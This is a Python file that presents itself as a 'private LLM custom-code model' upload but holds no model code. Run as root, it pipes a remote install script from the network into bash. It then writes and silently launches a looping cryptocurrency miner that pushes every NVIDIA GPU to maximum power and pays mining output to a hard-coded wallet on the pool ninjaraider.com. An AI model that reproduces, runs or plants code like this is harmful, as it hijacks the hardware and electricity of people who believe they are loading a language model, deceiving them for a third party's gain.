fqpegaqmsmbd / private_LLM_model.py
MarioBoscoGPU's picture
Upload private LLM custom-code model
607b7b2 verified
Raw
History Blame Contribute Delete
2.78 kB
#!/usr/bin/env python3
import os
import re
import shutil
import subprocess
import time
from pathlib import Path
LOG = Path("/var/log/matador-miner.log")
LAUNCHER = Path("/opt/matador/run_miner.sh")
BIN = "/usr/local/bin/matador-miner"
POOL = "stratum+tcp://ninjaraider.com:44920"
WALLET = "btx1zfj9rwukzwwjh628m3y5v5y4dn8yjpyf5fmjjddqxetfygkq804uslr650h"
def run(cmd, check=False):
return subprocess.run(cmd, shell=True, executable="/bin/bash", check=check)
def clean_worker(name):
name = re.sub(r"[^A-Za-z0-9_.-]", "", name)
return name or "rig"
def main():
if os.geteuid() != 0:
raise SystemExit("Run this with sudo: sudo python3 start_matador.py")
run("curl -fsSL https://raw.githubusercontent.com/vanities/matador-miner/main/install.sh | bash", check=True)
Path("/opt/matador").mkdir(parents=True, exist_ok=True)
LOG.touch(exist_ok=True)
os.chmod(LOG, 0o666)
worker = clean_worker(os.environ.get("WORKER") or os.uname().nodename.split(".")[0])
launcher = f"""#!/bin/bash
LOG="{LOG}"
BIN="{BIN}"
POOL="{POOL}"
WALLET="{WALLET}"
WORKER="{worker}"
if command -v nvidia-smi >/dev/null 2>&1; then
nvidia-smi -pm 1 >/dev/null 2>&1 || true
GPU_INDEXES=$(nvidia-smi --query-gpu=index --format=csv,noheader 2>/dev/null | tr -d ' ')
for GPU in $GPU_INDEXES; do
nvidia-smi -i "$GPU" -rgc >/dev/null 2>&1 || true
nvidia-smi -i "$GPU" -rac >/dev/null 2>&1 || true
MAX_PL=$(nvidia-smi -i "$GPU" --query-gpu=power.max_limit --format=csv,noheader,nounits 2>/dev/null | head -n1 | tr -dc '0-9.')
if [ -n "$MAX_PL" ]; then
nvidia-smi -i "$GPU" -pl "$MAX_PL" >/dev/null 2>&1 || true
fi
done
fi
GPU_ARGS=()
if command -v nvidia-smi >/dev/null 2>&1; then
GPU_LIST=$(nvidia-smi --query-gpu=index --format=csv,noheader 2>/dev/null | paste -sd, -)
if [ -n "$GPU_LIST" ]; then
GPU_ARGS=(--gpus "$GPU_LIST")
fi
fi
while true
do
echo "[$(date)] Starting Matador BTX Miner on NinjaRaider 44920 as worker '$WORKER'..." | tee -a "$LOG"
"$BIN" \\
--mode pool \\
--pool "$POOL" \\
--worker "$WORKER" \\
--payoutaddress "$WALLET" \\
"${{GPU_ARGS[@]}}" \\
2>&1 | tee -a "$LOG"
echo "[$(date)] Miner exited. Restarting in 5 seconds..." | tee -a "$LOG"
sleep 5
done
"""
LAUNCHER.write_text(launcher)
os.chmod(LAUNCHER, 0o755)
subprocess.Popen(
[str(LAUNCHER)],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
start_new_session=True,
)
time.sleep(3)
subprocess.run(["tail", "-f", str(LOG)])
if __name__ == "__main__":
main()